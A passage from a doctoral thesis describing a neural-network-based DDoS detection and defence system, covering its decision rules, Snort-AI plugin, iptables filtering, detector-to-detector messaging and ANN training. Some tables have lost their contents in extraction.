of the traffic. The output is then in the form of 1 (attack) or 0 (normal traffic). However, one 
output of 1 or 0 is not enough to pronounce a target to be under a DDoS attack and activate 
a defence component or to be genuine and take no defence action. Instead we decided to 
retrieve three batches of packets from the network and prepared them for the ANN engine to 
produce three outputs where (1,1,1), (1,1,0), (1,0,1) or (0,1,1) represent attacks and (0,0,0) 
represent genuine traffic (see later).  
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Selecting three sets of outputs as opposed to any other number was not a random choice. 
The decision was based on a set of experiments into how fast (average time) the defence 














(1,1,1) 3  (1,1,1) 4  (1,1,1) 2 
(1,1,1) 4  (1,1,1) 4  (1,1,1) 3  
(1,1,1) 3  (1,1,1) 3 (1,1,1) 3  
(1,1,1) 4  (1,1,1) 4  (1,1,1) 4  
(1,1,1) 4 (1,1,1) 4  (1,1,1) 4 
(1,1,1) 3 (1,1,1) 3 (1,1,1) 2 
(1,1,1) 3  (1,1,1) 4 (1,1,1) 3  
(1,1,1) 4  (1,1,1) 4  (1,1,1) 4  
 3.50  3.75  3.12 
(1,0,0) 4  (1,0,0) 4  (1,0,0) 4  
(1,0,0) 5  (1,0,0) 4  (1,0,0) 4  
(1,0,0) 5  (1,0,0) 5  (1,0,0) 3  
(1,0,0) 6  (1,0,0) 4 (1,0,0) 3  
(1,0,0) 6 (1,0,0) 6  (1,0,0) 4  
(1,0,0) 3 (1,0,0) 4  (1,0,0) 5  
(1,0,0) 5 (1,0,0) 5  (1,0,0) 5  
(1,0,0) 4 (1,0,0) 4  (1,0,0) 4  
 4.75  4.50  4.00 
(1,1,1,1) 5  (1,1,1,1) 4  (1,1,1,1) 5  
(1,1,1,1) 4  (1,1,1,1) 4  (1,1,1,1) 3  
(1,1,1,1) 5 (1,1,1,1) 4  (1,1,1,1) 6  
(1,1,1,1) 4  (1,1,1,1) 4  (1,1,1,1) 5  
(1,1,1,1) 5  (1,1,1,1) 6  (1,1,1,1) 4  
(1,1,1,1) 5 (1,1,1,1) 7  (1,1,1,1) 4  
(1,1,1,1) 5  (1,1,1,1) 4  (1,1,1,1) 5 
(1,1,1,1) 4  (1,1,1,1) 5  (1,1,1,1) 4  
 4.62  4.75  4.50 
(1,1,0,0) 7  (1,1,0,0) 6  (1,1,0,0) 7 
(1,1,0,0) 6  (1,1,0,0) 6 (1,1,0,0) 7  
(1,1,0,0) 8  (1,1,0,0) 8  (1,1,0,0) 6  
(1,1,0,0) 6 (1,1,0,0) 7  (1,1,0,0) 6  
(1,1,0,0) 7  (1,1,0,0) 7 (1,1,0,0) 7  
(1,1,0,0) 8  (1,1,0,0) 8  (1,1,0,0) 7  
(1,1,0,0) 8  (1,1,0,0) 8  (1,1,0,0) 8  
(1,1,0,0) 7  (1,1,0,0) 8  (1,1,0,0) 7  
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 7.12  7.25  6.87 
(1,1,1,1,1) 8  (1,1,1,1,1) 8  (1,1,1,1,1) 8  
(1,1,1,1,1) 7  (1,1,1,1,1) 7  (1,1,1,1,1) 7  
(1,1,1,1,1) 8  (1,1,1,1,1) 7  (1,1,1,1,1) 7  
(1,1,1,1,1) 7  (1,1,1,1,1) 7  (1,1,1,1,1) 7  
(1,1,1,1,1) 8  (1,1,1,1,1) 8  (1,1,1,1,1) 7  
(1,1,1,1,1) 7  (1,1,1,1,1) 8  (1,1,1,1,1) 7  
(1,1,1,1,1) 7  (1,1,1,1,1) 8  (1,1,1,1,1) 7  
(1,1,1,1,1) 8  (1,1,1,1,1) 8  (1,1,1,1,1) 8  
 7.50  7.62  7.25 
 
Table  5-7: Defence responses in seconds based on outputs. 
 
The experiments were deployed while we implemented the detection and defence solution 
(Chapter 6). We selected different outputs such as (1,1,1), (1,1,1,1) and (1,1,1,1,1) to identify 
the time duration in seconds during which the defence component acts and mitigates the 
attack. Based on our experiments, one set of three outputs (e.g. 1.1.1) produced the shortest 
average time in seconds to respond to and mitigate a DDoS attack. This means that for every 
extra output (e.g. 1,1,1,1 or 1,1,1,1,1), the system takes longer to retrieve and arrange 
batches‎of‎packets‎ for‎ the‎ANN‎engine‎and‎this‎affects‎ the‎defence‎component’s‎response‎
time. In other words, increasing the number of outputs increases time for the defence 
component to react and this introduces delays in protecting the victim from a DDoS attack. 
Furthermore, we deselected two outputs (e.g.1,1 or 1,0), as two outputs do not provide 
enough certainties to decide on the legitimacy of retrieved traffic (e.g. when the output is 1,0). 
From the experiment results shown in Table 5-7 the average time required to activate 
defence of 3 outputs (1,1,1) is 3.4 seconds. The average time for the defence component to 
activate 4 outputs (1,1,1,1) is 4.6 seconds. The difference is not very much, but it gets 
problematic when the output is (1,1,0,0). At this point the average time to activate the 
defence component for (1,0,0) output is approximately 4.4 seconds and for (1,1,0,0) is 
approximately 7.0 seconds. This means if the output is (1,1,0,0) or more, the detection 
component analyses more batches of traffic, which delays the activation of the defence 
component. The results of our experiments thus showed that 3 outputs provide a reasonable 
response time for the defence component to prevent the forge traffic to pass through. 
However, our solution is designed to be modular based (configurable) to increase or 
decrease the batch values accordingly and to accommodate other environment scenarios 
based on requirements. In our experiment, we used the operating system´s built-in timer to 
identify the average time.   
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We have selected 3 outputs to verify the traffic. We take the following outputs to be DDoS 
attacks or normal traffic.  
 Output (1,1,1), (1,1,0), (1,0,1) or (0,1,1) are DDoS attacks.  
 Output (0,0,0) is normal traffic. 
 Output (1,0,0), (0,1,0) or (0,0,1) is unclear and more packets are retrieved to verify 
the outputs.  
 If none of the above, the output is 2 (see Scenario 4, below).  
  




If the output of the detection component is (1,1,1), (1,1,0), (1,0,1) or (0,1,1):  
 
1. The detection component detects an attack in the form of (1,1,1), (1,1,0), (1,0,1) or 
(0,1,1)‎coupled‎with‎the‎victim’s‎IP‎address. 
2. The defence component receives the outputs (1,1,1), (1,1,0), (1,0,1) or (0,1,1) and 
for the purpose of simplicity the outputs are converted to number 1 and pair it with 
the victim´s IP address (e.g. 123.12.3.4 1). 
3. Then the DDoS Detector activates its defence system to drop all forged packets 
towards the victim while allowing genuine packets to pass through.  
4. The knowledge sharing component creates a connection using TCP protocol and 
sends encrypted messages to all the other DDoS Detectors to inform them about the 
attack. Then it composes and sends an email containing the victims´ IP addresses 
and the type of the attack to the Security Officer.  
5. The DDoS Detector remains in a continuous monitoring mode. However, restriction is 
released (release restriction module) when the victim is verified to be safe by the 
detection component (i.e. (0,0,0) output).  
 
Scenario Two 
If the output of the detection component is (1,0,0), (0,1,0) or (0,0,1): 
1. The defence component does not activate the defence mechanism nor does the 
knowledge sharing component inform other DDoS Detectors. 
2. Instead the detection component takes three more rounds (batches) of data traffic 
from the network and if the outputs are: 
a.  (1,1,1), (1,1,0), (1,0,1) or (0,1,1), then scenario one is applied.  
b.  (0,0,0), traffic is free from DDoS attacks and no defence action is taken. 
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c.  (1,0,0), (0,1,0) or (0,0,1), DDoS Detector, converts them to number 1, pair it 
with the victim IP address and activates the defence component as this is 
considered to be a low rate DDoS attack (Chapter 1, Section 1.9). 
3. Share the information with other DDoS Detectors using knowledge sharing 
component. Then the same information is emailed to the Security Officer.  
4. The DDoS Detector continues to monitor the network for abnormalities. 
 
Scenario Three  
If the output of the detection component is (0,0,0), no defence mechanism is activated as this 
is considered to be normal traffic. When traffic goes above the threshold, our detection 
component takes three sets (batches) of data and checks for abnormalities. However, it is 
possible for the traffic to be normal even though it is higher than the threshold (e.g. a popular 
website that shows a football match). Then via the knowledge sharing component, the 
information (destination IP address and 0) is sent to the other DDoS Detectors and an email 
is sent to the Security Officer.  
 
Scenario Four  
 
The detection component outputs 2  if the traffic is not identified by the detection component 
(not used during ANN training). At this point the defence component first checks the share-
log
3
 file and if: 
 
 The same type of traffic (unidentified- 2) towards the same destination is detected by 
other DDoS Detectors and received from them; then the algorithm is out-dated when 
it comes to new DDoS attacks since all other DDoS Detectors have also failed to 
identify the nature of the traffic. At this point the ANN algorithm needs to be retrained 
with up-to-date patterns. The defence component takes no action, but the knowledge 
sharing component informs other DDoS Detectors about this unidentified traffic. Then 
an email is sent to the Security Officer containing information about the unidentified 
traffic to take action. 
 No records from other DDoS Detectors are received (share-log is empty or irrelevant 
information found), then no defence action is taken but an email is sent to the 
Security Officer to take action and the other DDoS Detectors are informed.  
                                                     
3
 Share-log contains up-to-date DDoS information from other DDoS Detectors.  
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 Other DDoS Detectors have detected the same traffic towards the same destination 
and it is flagged as 1 or 0. This is an indication of a logical fault within the DDoS 
Detector that failed to detect the attack since other DDoS Detectors managed to flag 
the same traffic to the same destination as 1 or 0. The defence component activates 
the defence process and stops the attack if the received information from other 
DDoS Detectors is 1 (attack). Otherwise the defence component does not activate. 
  
The defence component requires at least one record of information from other DDoS 
Detectors to activate the defence system.  
Scenario Five 
 
If a detection component during its continuous monitoring mode verifies traffic towards a 
destination that was previously protected from forged DDoS packets as genuine traffic, then 
the defence component uses a release restriction element to unblock the blocked traffic.  
 
The output of the detection process is 2 when the ANN algorithm is trained with old datasets 
and lacks knowledge of new patterns. As explained in Chapters 1 and 3, ANN has the ability 
to detect unknown DDoS attack patterns if the attack patterns are similar to the patterns that 
are used to train the ANN algorithm. However, if the algorithm was trained with old patterns, 
then the ANN fails to identify some unknown DDoS attacks. Such behaviour has been 
observed when we trained our ANN with old and up-to-date patterns. We identified that up-to-
date patterns can assist the ANN to detect known and most unknown DDoS attacks while an 
ANN trained with old patterns failed to do so (See Chapter 7, Section 7.3 for test results).  
Knowledge sharing between the DDoS Detectors can provide extra help to make further 
decisions when the ANN algorithm is not up-to-date. Meanwhile each detector sends a 
composed email to the Security Officer with a complete report of all occurred DDoS attacks 
and genuine traffic. However, one may compare this approach with having one common 
central server to collect all the attacks and send them all as one email. This approach 
provides one centre point to collect data from all DDoS Detectors, but it introduces a single 
point of failure. This means, if the central server is unreachable, then information cannot be 
sent to the Security Officer and consequently no extra countermeasures are taken when 
required. However, as an extra feature the Security Officer can introduce an engine that 
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5.7 DDoS Detection and Mitigation Steps 
Given Figures 5-2, 5-3 and 5-8, one can simplify the detection and mitigation design in the 
following steps: 
1. DDoS Detectors are installed on different networks. 
2. Each detector registers the IP address of all other DDoS Detectors to inform and 
send encrypted messages when attacks are detected.  
3. DDoS Detectors must continuously monitor their networks for abnormalities.  
4. Abnormalities are flagged when the number of passing packets is greater than 
predefined thresholds. 
5. If the number of packets is greater than the thresholds, then: 
a. The Organiser organises the packets accordingly and removes unwanted 
characters.  
b. Victim IP Identifier identifies victim IP addresses. 
c. Calculator calculates retrieved patterns and prepares them for the ANN 
engine.  
d. The trained ANN engine takes them as inputs and produces one output (1-
attack or 0-normal).  
e. The above steps in point 5 are repeated two more times, producing a total of 
3 outputs (e.g. 1,0,1). 
6. Then the defence component receives the outputs from the detection component 
and:  
a. If the outputs are (0,0,0), then no action is required by the defence 
component, as the traffic is clean. 
b. If the outputs are (1,1,1), (1,1,0), (1,0,1) or (0,1,1), then it activates the 
defence component and stops the attack while allowing genuine traffic to 
pass through.  
c. If outputs are (1,0,0), (0,1,0) or (0,0,1), then the solution repeats point 5 and 
if outputs of the new retrieved traffic are: 
i. (1,1,1), (1,1,0), (1,0,1) or (0,1,1), it activates the defence component. 
ii. (1,0,0), (0,1,0) or (0,0,1), it activates the defence component as this 
is considered to be a low rate DDoS attack. 
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d. However, the detection component outputs 2 if the traffic is unidentified (not 
used in training) by the ANN engine. At this point, the defence component 
checks its local record (share-log) to learn if the same traffic towards the 
same destination has been received and detected by other DDoS Detectors. 
If the received information from the other detectors is 1 or 0 then the 
algorithm is out-dated since its detection was 2. This means the algorithm on 
the local DDoS Detector needs to be retrained (off-line) with old and new 
patterns. Otherwise no action is taken.  However, if no records from other 
DDoS Detectors are received (share-log is empty or irrelevant information 
found), then an automatic email is sent to the Security Officer to take action. 
7. The knowledge sharing component sends encrypted messages containing 
information about the traffic (DDoS or genuine traffic) and the destination IP address 
to all registered DDoS Detectors. Such information is also composed and sent by the 
email element to the Security Officer for the purposes of awareness, logistics and 
forensics.  
8. If the number of packets is greater than the threshold for a long period of time (e.g. 1 
hour), then all above points are repeated to detect and mitigate undetected new 
attacks or verify the legitimacy of any genuine traffic that is higher than the 
thresholds. 
   
As part of our component and element design, we have used files to temporarily keep the 
result of our detection and defence execution and avoided using memory. This is to avoid 
losing output results if the DDoS Detector has accidently crashed, which leads to losing data 
in the memory.  
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5.8 Summary  
In this chapter, we identified and designed detection, defence and knowledge sharing 
components. Each component consists of several elements that assist the overall design 
process. The solution is modular based where components can be added, modified or 
removed without breaking the detection or defence functionalities. For example, when 
defence or knowledge sharing components are removed, the detection system still operates 
to detect DDoS attacks. In our design solution, we reviewed use-cases to carefully discuss 
and identify different possibilities for DDoS attacks. Such an approach assists in designing 
the elements that are involved in DDoS detection and mitigation. Moreover, we executed 
different experiments coupled with the literature reviewed in Chapter 2 to verify approaches 
and mechanisms that aided in our decision to select specific functions. For example, we 
executed experiments to identify thresholds per protocol, ANN topological structure, 
activation functions and the ANN learning algorithm. Different learning algorithms and 
activation functions have been reviewed. Ultimately, we selected Back-Propagation, Sigmoid 
activation function and one hidden layer in our design of the ANN topological structure. We 
also explained the qualified structural format of ICMP, UDP and TCP datasets that JNNS 
accepts to train ANN. We outlined different scenarios that support the design of the defence 
and knowledge sharing components. In each scenario, we explained the roles of the defence 
and knowledge sharing components towards DDoS mitigation and sharing information. In 
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Chapter 6 – Implementation and Testing 
6.1 Introduction  
In Chapter 5, we outlined the design of the architectural structure of our approach where we 
combined detection, mitigation and knowledge sharing components in one solution called a 
DDoS Detector. In this chapter, we select the technologies and methods that assist the 
implementation process and map each selected technology to the components explained in 
Chapter 5. This also includes setting the physical and development environments in which, 
each component is prepared for development and testing. To build a DDoS Detector, one has 
the choice of reusing third party technologies or developing all the necessary libraries and 
functions from scratch. We however, compared both approaches based on time of 
development, testing, maturity and development cycle. In our implementation, we have 
selected the C [91], Bash [139] and Python [107] programming languages. Then, we have 
verified our implementation with different testing approaches (functional, load, system and 
integration). However, general programming concepts are not the scope of this thesis and are 
not reviewed here; instead, relevant references are provided where applicable. In this chapter 
we focus on the technologies and process of implementation, but the full scale of the code is 
shown in Appendices 6-1 to 6-5.  
6.2 Technologies and Methods 
In this section, we identify the technologies and methodology used to implement each 
component of our DDoS Detector. Some of these technologies are available as third party 
applications in the form of libraries or packages, which fulfil similar purposes to ours. To 
implement each component of our DDoS Detectors, one can develop the entire related 
components from scratch or use and modify existing ones. The decision to select either 
approach should be based on time for implementation, testing and code maturity. Therefore, 
we conducted a short assessment for choosing either approach. The assessment was based 
on the questions and comparisons listed in Table 6-1. 
Libraries and packages from scratch Third party libraries and packages 
Development: Create functions and blocks from 
scratch.  
Testing: All written functions and code blocks 
need to be tested and checked.  
Time of implementation: More time is required to 
implement the solution. 
Maturity: The libraries are not mature as they are 
not used and bug fixed by other third party users. 
Development Cycle: The libraries are relatively 
new and no development cycle is initiated.   
Development: Use and modify the existing 
libraries and packages.  
Testing: Only modified parts are tested since the 
rest of the code is further tested by others.  
Time of implementation: Less time is required to 
implement the solution.  
Maturity: The libraries are mature as they are 
used and bug fixed by third party users. 
Development Cycle: The libraries are in use in 
production where users introduce feedback for 
further improvement. 
 
Table  6-1: Libraries and packages from scratch vs. existing third party packages. 
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Based on the assessment comparison summarised in Table 6-1, reusing third party related 
libraries and packages is more beneficial than building all the codes from scratch. However, 
the chosen libraries and packages must be strictly applicable to what we wish to accomplish 
and licences of any used libraries or packages must be studied. Therefore, we take the 
applicable technologies and map them to the relevant components described in Chapter 5.  
This can be summarised as follows. 
 Detection Component and Technologies 6.2.1
As explained in Chapter 5, Section 5.5, the detection component consists of different 
elements; each element assists the detection process in a modular fashion. One needs to 
separately implement each element and integrate them together to complete the detection 
process. Such modularity helps maintain the code and identify logical faults by simply 
identifying the relevant module. In this context, we reused the available third party packages 
and modified them to obtain basic functionalities (e.g. retrieving packets from the network). 
We then combined the modified libraries with our own custom code to complete the detection 
implementation process. There are various third party libraries and applications (source code 
and binary) that are free to use and provide accuracy, security and efficiency.  
One of the popular choices that have been recognised by security and research experts is the 
Snort signature Intrusion Detection System (Snort - IDS) [179]. Snort is known for its stability; 
security, accuracy, flexibility, and performance (see Chapter 2, Section 2.3.4). Snort provides 
pre-processing mechanisms that allow third party applications or algorithms to integrate with 
it. Such features attracted a considerable number of experts and developers to make use of 
Snort´s foundation code and integrate it with their own custom code. Due to the flexibility of 
Snort to accept other algorithms as plugins, Alan Saied (author of this thesis) and Charles 
Edward (an independent researcher) have further extended the functionality of Snort to 
operate as an Artificial Intelligence IDS known as Snort-AI [18]. The project is downloadable 
for feedback or suggestions. In our implementation process, we re-modified and re-used the 
Snort-AI engine to retrieve packets from the network. Then, we integrated our custom code to 
organise and prepare the packets for the ANN code to investigate the legitimacy of the traffic. 
One can map each technology and custom code to the following elements of the detection 
component: 
 Snort-AI: Retrieves ICMP, UDP and TCP packets form the network. This part of the 
code is written in the C programming language.  
 Organiser: Strips and organises the packets to prepare them for Victim IP Identifier. 
Organiser block code belongs to the Snort-AI code. 
 Victim IP Identifier: A custom module written in Bash that is used to identify the 
victim’s‎IP‎address.‎Knowing‎the‎victim’s‎IP‎address‎assists‎the‎defence‎component‎
to prevent forged packets towards the victim.  
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 Calculator: Another custom module written in Bash to prepare the data for the ANN 
engine.  
 ANN engine: Is written in C programming language; it picks the patterns and assign 
them as variables to for the ANN code and then decide on the legitimacy of the traffic. 
It is worth mentioning that JNNS is used to train the ANN algorithm to learn about 
patterns and adjust the weights on the connections between the layers with the aim of 
reducing error and producing outputs that are closest to the desired output (using 
Back-Propagation). However, the actual source code and implementation of the ANN 
are done in C programming. This is mainly due to the fact that Snort-AI is written in C 
and which makes the integration process with ANN easier.  
 
To learn more about the above elements of the detection component, refer to Chapter 5, 
Section 5.5, and for the implementation process, refer to Section 6.3 of this chapter.  
 Defence Component and Technologies 6.2.2
The defence mechanism is an important part of our solution where forged packets are 
dropped before reaching the victim. However, the process of preventing such packets from 
passing through is relatively well known to security experts due to their daily use of such 
tasks. In most cases, preventing specific packets from reaching their destination targets is 
done using firewalls where certain rules are applied when abnormalities are detected. 
However, different factors such as network infrastructure, topologies, performance and cost 
dictate the choice of the firewall. Here, we use the same approach that is commonly adopted 
by firewall applications (drop forged packets and allow genuine traffic to pass through). Such 
a mechanism is applicable if appropriate input variables are defined for the firewall to activate 
and drop forged packets. In our case, the input variables are outputs from the detection 
component where they are defined by the ANN engine. Such a mechanism reduces the 
strength of the attack before reaching the victim. Furthermore, the firewall must release any 
blocked traffic once instructed by the detection component. Due to the rapid growth in 
technologies and methods of communication, different technological firewalls have been 
introduced. However, the firewalls that are most relevant to our research are packet filtering, 
application firewall and packet inspection. 
 Packet Filtering [215]: This firewall blocks traffic based on protocol types, source and 
destination addresses. This is accomplished using access controls (rules) where the 
process of blocking abnormal packets is very fast. Packet filtering consists of two 
types; one is called stateless packet filtering while the other type is called stateful 
packet filtering. In stateless packet filtering, the firewall does not remember the 
information of the passed packets, while stateful packet filtering does remember the 
packets passing through. Typical examples of packet filtering firewalls are iptables 
(open source) or CISCO firewall (commercial) [6] [24]. 
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 Application Firewall [1]: This firewall is designed to protect the application layer of the 
OSI model from application attacks. For example, protecting a database from SQL 
injection, application DoS attack or a web server from cross-site scripting [146] [205]. 
Akamai [1] and CISCO application firewalls are examples of application firewalls. 
 Packet Inspection Firewall [110]: This firewall investigates the session information 
between two devices trying to establish a connection. This includes checksums, 
packet sequence numbers or applications specific flags. Such an inspection process 
gets deep into the application and session layers information searching for 
abnormalities based on known signatures. 
 
For the purpose of our research, we have selected the stateless packet-filtering mechanism to 
block packets based on specific destination and detection information provided by the 
detection component. Here we have not selected stateful packet filtering approach since our 
DDoS Detectors do not need to remember packets passing through. Furthermore, 
remembering packets passing through (stateful) in a busy network can introduce latency and 
possible system crash. Moreover, our approach deals with packets at the network and 
transport layers; the packet-filtering approach is designed to technically and functionally 
accommodate both layers well. We have chosen iptables [6] due to its license (open source), 
stability and usability. An application firewall was not selected since our solution focuses on 
network and transport packets. Instead of choosing the packet inspection firewall, which 
investigates the header information based on signatures (rules), we opted for Snort-AI to 
identify the header information and the ANN engine to decide the legitimacy of the traffic. To 
implement our defence solution, we only require a set of instructions to drop forged packets 
when the ANN engine detects them. The packet-filtering approach successfully fulfils such 
requirements.  
  Knowledge Sharing Component and Technologies 6.2.3
As explained in Chapter 5, when an attack is detected in one of the networks, our DDoS 
Detectors exchange the information about any detected DDoS attacks. Furthermore, if a 
genuine traffic above a threshold is detected and verified as genuine, the DDoS Detectors 
also exchange the information (to assist other detectors when their detection output is 
unidentified). Such cooperation between the detectors supports the overall solution by means 
of better collaboration to mitigate DDoS attacks. Moreover, such information (DDoS attack or 
genuine traffic) will be sent to the Security Officer to take additional countermeasures if 
required. The DDoS Detectors can communicate with other DDoS Detectors using one the 
following methods: 
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1. Socket Connection [233]: Sockets are the end-points that are used between multiple 
clients and server software for the purpose of bidirectional communication.  
Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) are the 
popular choices for network communication (Chapter 1 Sections, 1.3.2 and 1.3.5). 
2. Message Routing (MR) [8]: An advanced method of message communication 
between clients or servers in a complex environment, where different applications are 
connected together and messages are exchanged. MR is typically used with cloud 
solutions (software as a Service - SaaS).  
3. File Sharing [60]: Mostly used to share files (binary or text files) between one or more 
devices.  
4. Third Party Applications: Third party applications can be used to transfer information 
(data files) between devices. Secure Shell (SSH) [245] or Secure File Transfer 
Protocol (SFTP) are example of third party applications to send or receive information 
such as data or files between different platforms.  
 
It is vitally important to have a fast yet secure, scalable and reliable channel between the 
DDoS‎Detectors‎to‎guarantee‎messages’‎timely‎delivery.‎It‎is‎also‎important‎to‎use‎a‎solution‎
that integrates well with the detection and defence components. In this context, we have 
chosen the socket connection (first approach) to be the communication channel between the 
DDoS Detectors. Socket programming is reliable, mature, easy to implement, rich in 
documentation, and fulfils all the communication requirements (securely delivering messages 
to all DDoS Detectors). Moreover, the TCP protocol was chosen over UDP to be our 
communication protocol due to its reliability, error checking, ordering mechanism, and it is 
connection orientated (see Chapter 1, Section 1.3). Messages are encrypted using RSA 
encryption (see Chapter 1, Section 1.4) and exchanged between DDoS Detectors when 
attacks are detected. Message Routing (MR) is considered to be scalable, fast and reliable. 
However, MR is an advanced approach that introduces implementation complexities and 
possible changes in network infrastructure [8]. Therefore, we have discarded this approach 
for the communication channel. File sharing is a popular technology to share data among 
nearby devices and its implementation process is not as complex as MR. However, due to the 
rules and regulations regarding file/data-sharing technologies, we discarded this technology 
too for the communication channel [60]. Using SSH or SFTP (third party tools) is a considered 
choice for communication. However, they require an administrative monitoring mechanism  to 
automatically connect via username and password. To automatically email the Security 
Officer when DDoS attacks are detected, we used the standard email client mechanism (see 
Section 6.3.4).  
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6.3 Implementation  
In this section we first explain the steps required to train the ANN algorithm described in 
Chapter 5, Section 5.5, where the ANN topological design structure, learning algorithm and 
input values are selected. Then we break down the process of implementation detection, 
defence and knowledge sharing components into separate parts. It is essential to have the 
right development environment in place before starting any implementation. Such an 
environment is used to train the ANN learning algorithm and develop the DDoS Detectors. 
The following are the environment setups for training of the ANN and development of DDoS 
Detectors.  
 Linux Debian (2.6.33 Kernel) to run and execute VBox [144] environment. This is to 
create virtual platforms such as Linux or Windows operating systems.  
 One Windows XP virtual machine is created and used on top of VBox. This is to 
execute JNNS (Windows binary format) and train the ANN.  
 One Linux virtual machine is created on a top of VBox and used to develop all the 
components of a DDoS Detectors. Its environment contains the following: 
◦ gcc-4.4.4 default compiler.  
◦ Snort-AI 2.4.3 source code. 
 
 
 ANN Training and Error Graph  6.3.1
In this section, we identify the ANN training process and analyse its outcome. The steps of 
implementing the layouts represented in Figures 5-4, 5-5 and 5-6 (Chapter 5) are shown in 
Appendix 6-1. The training datasets must be larger than the validation dataset to assist the 
ANN algorithm and to learn more about DDoS attacks and genuine traffic patterns. Therefore, 
80% of the dataset was uploaded to train the ANN and 20% is used to validate the training 
process. This approach is recommended by JNNS and other training applications [4] [154]. 
The datasets are prepared in the format that JNNS accepts (see Chapter 5, Section 5.5.1).  
We did not randomly select the 80% training dataset from the overall datasets. Instead, we 
performed five-fold cross-validation by excluding the first 20% from the top of the datasets 
then continuing all the way down to the bottom 20% as shown in Table 6-2.  
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Protocol  Excluded 20%  Learning and validation in Cycles  
TCP 1
st
 20% from the top 25000 
 2
nd




















 20% from the top 2000 
 2
nd




















 20% from the top 3500 
 2
nd



















Table  6-2: Five-fold cross-validation results for TCP, UDP and ICMP protocol. 
 
In Table 6-2, we compared the final outputs of the learning cycles from the JNNS Error Graph 
and noted that no matter where we select the 20% from the overall datasets, the outcome 
produces the same learning cycle for each protocol. In other words, no matter where we 
select the 20% from the dataset, the ANN algorithm stops learning about the patterns around 
the learning cycles shown in Table 6-2. This is because the ANN has learned all the related 
patterns and further training is not required. This also means that if one randomly selects the 
20% anywhere from the top to the bottom of the dataset, the learning cycles will be the same 
as in Table 6-2. One cycle is one pass over the whole list of the patterns in the datasets, and 
is repeated a number of times (number of cycles) stopping when the ANN had learned all the 
patterns. The training process stops if all the patterns are fully understood by the ANN 
algorithm. However, over-training with the same datasets can produce inaccuracy. JNNS 
provides a graphical representation of the training process called the Error Graph as part the 
JNNS features. Since the datasets are divided into training (80%) and validation (20%) 
datasets, the following Error Graphs represent training and validating of the dataset patterns 
for each protocol. 
  



















ICMP dataset training - Error Graph.     ICMP dataset validation - Error Graph. 
 
- 173 - 
 
The above graphs represent the training progress of each protocol coupled with their 
validation progress. The horizontal axis is the number of learning cycles, while the vertical 
axis shows the error detection. When the datasets are inserted, the ANN uses the Back-
Propagation algorithm to learn about the patterns in combination with the activation function 
(Sigmoid) that assists in adjusting the connection weights to get the most accurate output 
results. However, the learning process does not terminate if unknown patterns are introduced 
to the algorithm at any stage of the learning process, rather it simply adopts and learns them. 
JNNS is designed to accept the training datasets and validation datasets as two separate 
datasets for any protocols. The Error Graph expresses the learning process using a learning 
curve (black curve) and validates it using a validation curve (red curve). The validation curve 
is lower since 20% of the whole dataset is used for validation while the rest (80%) is used for 
learning purposes. As the learning curve decreases, the algorithm understands the patterns 
using Back-Propagation. This means the algorithm and its activation functions reduce the 
errors to the minimum based on the number of patterns during each learning cycle. At some 
point, the learning process becomes static, when it has learned all the patterns. However, 
repetitive patterns and overtraining can introduce confusion and biased results and must be 
avoided. At the same time the validation curve decreases as the algorithm learns about 
patterns. For example, in the TCP Error graph, the validation curve goes down and slightly 
goes up around 25000 cycles then it becomes static. Meantime the learning curve goes down 
around the same learning cycle (25000). At this point, when both curves reach 25000 cycles, 
the algorithm learned all the patterns from the existing dataset and there was nothing else to 
be learned (hence the static line), unless the learning algorithm is introduced to new unknown 
patterns. This behaviour can be observed when the validation curve slightly goes up around 
25000 cycles, while the learning curve reaches 25000 cycles. The UDP dataset shows this 
behaviour around 2000 cycles and the ICMP around 3500 cycles. At this point, the ANN 
algorithm should detect any unknown pattern that is similar to those it was trained with. The 
numbers of learning cycles are different from one protocol to another due to [79] [127]. 
 The‎nature‎of‎the‎datasets,‎for‎example,‎the‎patterns‎in‎the‎ICMP‎dataset‎are‎different‎
in‎values‎ from‎ the‎UDP‎or‎TCP.‎This‎ is‎mainly‎due‎ to‎ the‎ fact‎ that‎ ICMP,‎UDP‎and‎
TCP‎ DDoS‎ attacks‎ are‎ different‎ in‎ terms‎ of‎ architecture‎ and‎ packet‎ content‎ (see‎
Chapter‎1,‎Section‎1.6).‎ 
 The‎number‎of‎nodes‎in‎ the‎ input‎and‎hidden‎ layers‎are‎different‎between‎the‎TCP,‎
UDP‎and‎ ICMP‎ANN‎architectural‎ structures.‎Different‎ numbers‎ of‎ nodes‎ introduce‎
different‎computation‎processes‎and‎learning‎cycles.‎ 













the‎ weights‎ that‎ are‎ closest‎ to‎ the‎ desired‎ outputs.‎ Table‎ 6-3‎ shows‎ the‎ recommended‎














Table  6-3: Recommended weights between the layers. 
 
As explained in Chapter 3, Section 3.3, one of the objectives of our work is to detect the latest 
known and unknown DDoS attacks. Our TCP, UDP and ICMP ANN are trained with up-to-
date and old datasets. In Chapter 4, Section 4.9, we have explained the difference between 
old datasets and up-to-date datasets. We therefore trained our learning algorithm with both 
old and up-to-date patterns and compared the outcomes in terms of Detection Accuracy. 
Based on the experiment results reported in Chapter 7, Section 7.3, our solution responded 
better when the ANN was trained with up-to-date patterns than old patterns.  
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 Detection Component 6.3.2
Once we have the environment prepared (Section 6.3), then one can start the implementation 
process by taking the following steps. The detailed codes are shown in Appendix 6-2.  
I. Snort-AI Customisation and Implementation  
A) Changes to the Snort-AI configuration file: Snort-AI is designed to accommodate and 
function with hundreds of different files and libraries that are used for different purposes. The 
existing configuration files are used to run different plugins used for different purposes. To 
integrate our detection mechanism, these non-related libraries and codes need to be 
deactivated. Using this configuration file, we disabled all functionalities that are not relevant to 
our work and activated the plugin that we had created (see Appendix 6-2 for the configuration 
file).  Examples of such configuration settings are. 
preprocessor ddosai: ddosai ddosai args 
var EXTERNAL_NET any 
 
 
B) Creating the DDoS-AI plugin: Snort-AI has all the necessary built-in functions that provide 
assistance to create our own plugins that fulfil different technical requirements. Building a 
plugin from scratch consists of using the existing libraries to retrieve packets and strip them 
for different purposes (in our case to detect DDoS attacks). This process can be explained in 
the following steps, but for the overall code, refer to Appendix 6-2.  
 Two files (spp_ddosai.c & spp_ddosai.h) need to be created as they are called during 
the program execution. These files contain the logic that retrieves packets from the 
network. 
 In spp_ddosai.h file header libraries and functions are defined as a standard 
approach for creating any new plugin. These functions or structs are called during the 
program execution to initialise the process. Examples of such structs and functions 
are, typedef struct ddosaiSt { }, void SetupDDoS(),void ddosFunction().  
 In spp_ddosai.c we defined functions and libraries that assist in retrieving packets 
from the network and organise them (Organiser element). The outcome of this 
process is used by other components such as Victim IP Identifier to complete the 
detection mechanism.  Followings are examples of functions in spp_ddosai.c code : 
 
